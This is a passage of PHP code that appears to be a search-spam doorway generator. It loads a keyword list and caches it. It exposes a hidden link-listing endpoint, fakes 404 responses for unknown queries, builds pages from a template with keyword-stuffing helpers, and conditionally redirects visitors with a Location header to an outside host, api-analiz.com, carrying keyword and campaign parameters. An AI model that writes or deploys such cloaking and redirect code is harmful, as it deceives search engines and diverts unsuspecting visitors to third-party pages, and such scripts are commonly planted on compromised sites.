$line) { $temp_line = explode('|||', $line); $keys['url'][$num] = trim($temp_line['0']); $keys['flow'][$num] = trim($temp_line['1']); $keys['keys'][$num][] = trim($temp_line['2']); if(isset($temp_line['3']) && strlen($temp_line['3']) > 5) $keys['keys'][$num][] = trim($temp_line['3']); if(isset($temp_line['4']) && strlen($temp_line['4']) > 5)$keys['keys'][$num][] = trim($temp_line['4']); if(isset($temp_line['5']) && strlen($temp_line['5']) > 5)$keys['keys'][$num][] = trim($temp_line['5']); if(isset($temp_line['6']) && strlen($temp_line['6']) > 5)$keys['keys'][$num][] = trim($temp_line['6']); if(isset($temp_line['7']) && strlen($temp_line['7']) > 5)$keys['keys'][$num][] = trim($temp_line['7']); if(isset($temp_line['8']) && strlen($temp_line['8']) > 5)$keys['keys'][$num][] = trim($temp_line['8']); if(isset($temp_line['9']) && strlen($temp_line['9']) > 5)$keys['keys'][$num][] = trim($temp_line['9']); } file_put_contents('cache/keys.dat', serialize($keys)); } $keys = unserialize(file_get_contents('cache/keys.dat')); if(isset($_GET['get_stat'])) { if(is_file('search.txt')) echo 'Search
'; if(is_file('error.txt')) echo 'Error
'; if(is_file('all.txt')) echo 'All
'; exit(); } //View Links if(isset($_GET['view_links'])) { foreach($keys['url'] as $num =>$link) { if($goodurl) { $IDurl = $link; } else { $IDurl = $num; } if($num == 0) { $echo.= 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'||'.$keys['flow'][$num]."|||"; } else { $echo.= 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$q.'='.$IDurl.'||'.$keys['flow'][$num]."|||"; } } $echo = substr($echo, 0, -3); echo ""; exit; } //404 if($goodurl) {//GoodUrl On if(!in_array($_GET[$q], $keys['url']) && !empty($_GET)) { echo '404 - error document'; exit; } } else {//GoodUrl Off if(!array_key_exists($_GET[$q], $keys['keys']) && !empty($_GET) || isset($_GET[$q]) && $_GET[$q] ==0) { echo '404 - error document'; exit; } } //Search Page Number if($goodurl) {//GoodUrl On if(isset($_GET[$q])) { $query = array_search($_GET[$q], $keys['url']); } else { $query = 0; } } else {//GoodUrl Off if(isset($_GET[$q])) $query = $_GET[$q]; else $query = 0; } include('function.php'); //Redirect if(redirect_true()) { $sent = preg_replace('/ /','+', $keys['flow']["$query"]); header("Location: http://api-analiz.com/?group1&charset=utf-8&keyword=$sent&cpn=econ&source=econ"); } //Create array for Linking $for_link = $keys['url']; unset($for_link[$query]); //Create Page //Replace if(!file_exists('cache/'.md5($query).'.dat')) { $tpl = file_get_contents('tpl.html'); $tpl = my_prob($tpl); $tpl = my_stat($tpl); $tpl = my_repeat($tpl); $tpl = my_save($tpl); $tpl = slink($tpl); $tpl = my_replace($tpl); file_put_contents('cache/'.md5($query).'.dat', $tpl); } else { $tpl = file_get_contents('cache/'.md5($query).'.dat'); } //Echo Page echo $tpl; ?>